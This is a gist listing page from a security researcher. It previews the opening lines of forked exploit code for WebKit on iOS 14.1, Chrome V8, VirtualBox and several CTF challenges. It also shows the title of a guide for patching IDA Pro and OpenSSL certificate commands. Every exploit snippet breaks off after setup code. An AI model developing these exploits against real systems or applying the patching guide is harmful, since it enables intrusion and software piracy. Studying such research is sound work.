ducphanduyagentp / generate_self_signed_certification.md

Created June 5, 2025 11:32 — forked from taoyuan/generate_self_signed_certification.md

Generation of a Self Signed Certificate

Generation of a self-signed SSL certificate involves a simple 3-step procedure:

STEP 1: Create the server private key

openssl genrsa -out cert.key 2048

STEP 2: Create the certificate signing request (CSR)

openssl req -new -key cert.key -out cert.csr

ducphanduyagentp / _idapro9_macarm_patch_guide.md

Created October 2, 2024 04:10 — forked from sagittarius-a/_idapro9_macarm_patch_guide.md

Guide: Patching IDA Pro 9.0 BETA

Patching the IDA Pro 9.0 BETA

Note

Obligatory disclaimer: this is for educational purposes only. I am not responsible for any damages caused by following this guide, or using any of the script(s) herein.

This guide prioritizes arm64 macOS, but may also work for other platforms.

Step 1 - Patching dylibs

ducphanduyagentp / fuck.js

Created September 6, 2021 16:41 — forked from ujin5/fuck.js

WebKit RCE on ios 14.1

	function sleep( sleepDuration ){
	var now = new Date().getTime();
	while(new Date().getTime() < now + sleepDuration){ /* do nothing */ }
	}
	function gc() {
	for (let i = 0; i < 0x10; i++) {
	new ArrayBuffer(0x1000000);
	}
	}
	let data_view = new DataView(new ArrayBuffer(8));

ducphanduyagentp / poolMetaData.json

Created July 9, 2021 15:04

	{
	"name": "MELD 1 TEST",
	"description": "MELD 1 TEST POOL",
	"ticker": "MELD1",
	"homepage": "https://meld.com"
	}

ducphanduyagentp / chrome-v8-issue-1126249.js

Created March 22, 2021 16:47 — forked from hkraw/chrome-v8-issue-1126249.js

	class Helpers {

	constructor() {
	this.cvt_buf = new ArrayBuffer(8);
	this.cvt_f64a = new Float64Array(this.cvt_buf);
	this.cvt_u64a = new BigUint64Array(this.cvt_buf);
	this.cvt_u32a = new Uint32Array(this.cvt_buf);
	}

	ftoi(f) {

ducphanduyagentp / 3_years_of_attacking_javascript_engines.txt

Created November 3, 2019 03:55 — forked from saelo/3_years_of_attacking_javascript_engines.txt

3 Years of Attacking JavaScript Engines

	\|=-----------------------------------------------------------------------=\|
	\|=-------------=[ 3 Years of Attacking JavaScript Engines ]=-------------=\|
	\|=-----------------------------------------------------------------------=\|
	\|=------------------------------=[ saelo ]=------------------------------=\|
	\|=-----------------------------------------------------------------------=\|

	The following are some brief notes about the changes that have taken place
	since the release of the "Attacking JavaScript Engines" paper [1]. In
	general, no big conceptional changes have happened since. Mitigations have
	been added to break some of the presented techniques and, as expected, a

ducphanduyagentp / virtualbox_3d_exp.py

Created October 18, 2019 19:24 — forked from peternguyen93/virtualbox_3d_exp.py

	# Author : peternguyen93

	import sys
	sys.path.append('../') # back to vboxlib module

	from vboxlib.hgcm import *
	from vboxlib.chromium import *
	from ctypes import *

	'''

ducphanduyagentp / exploit.html

Created June 24, 2019 06:00 — forked from ujin5/exploit.html

Google CTF Quals 2019 Monochromatic

	<html>
	<pre id='log'></pre>
	<script src="mojo_bindings.js"></script>
	<script src="third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
	<script src="being_creator_interface.mojom.js"></script>
	<script src="food_interface.mojom.js"></script>
	<script src="dog_interface.mojom.js"></script>
	<script src="person_interface.mojom.js"></script>
	<script src="cat_interface.mojom.js"></script>
	<script>

ducphanduyagentp / exp.py

Created May 13, 2019 02:51 — forked from hama7230/exp.py

DEF CON CTF Qualifier 2019 speedrun-012

	#!/usr/bin/env python
	from pwn import *

	context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
	# context(terminal=['tmux', 'new-window']) # open new window

	# libc = ELF('')
	elf = ELF('./speedrun-012')
	context(os='linux', arch=elf.arch)
	context(log_level='debug') # output verbose log

ducphanduyagentp / exploit.c

Created February 17, 2019 01:12 — forked from sampritipanda/exploit.c

Real World CTF - SCSI Driver Exploitation Challenge

	#include <stdint.h>
	#include <sys/io.h>
	#include <unistd.h>
	#include <stdio.h>
	#include <fcntl.h>
	#include <sys/mman.h>
	#include <string.h>
	#include <assert.h>

	#include "virt_to_phys.c"

	\|=-----------------------------------------------------------------------=\|
	\|=-------------=[ 3 Years of Attacking JavaScript Engines ]=-------------=\|
	\|=-----------------------------------------------------------------------=\|
	\|=------------------------------=[ saelo ]=------------------------------=\|
	\|=-----------------------------------------------------------------------=\|

	The following are some brief notes about the changes that have taken place
	since the release of the "Attacking JavaScript Engines" paper [1]. In
	general, no big conceptional changes have happened since. Mitigations have
	been added to break some of the presented techniques and, as expected, a

Duc Phan ducphanduyagentp

Generation of a Self Signed Certificate

Patching the IDA Pro 9.0 BETA

Step 1 - Patching dylibs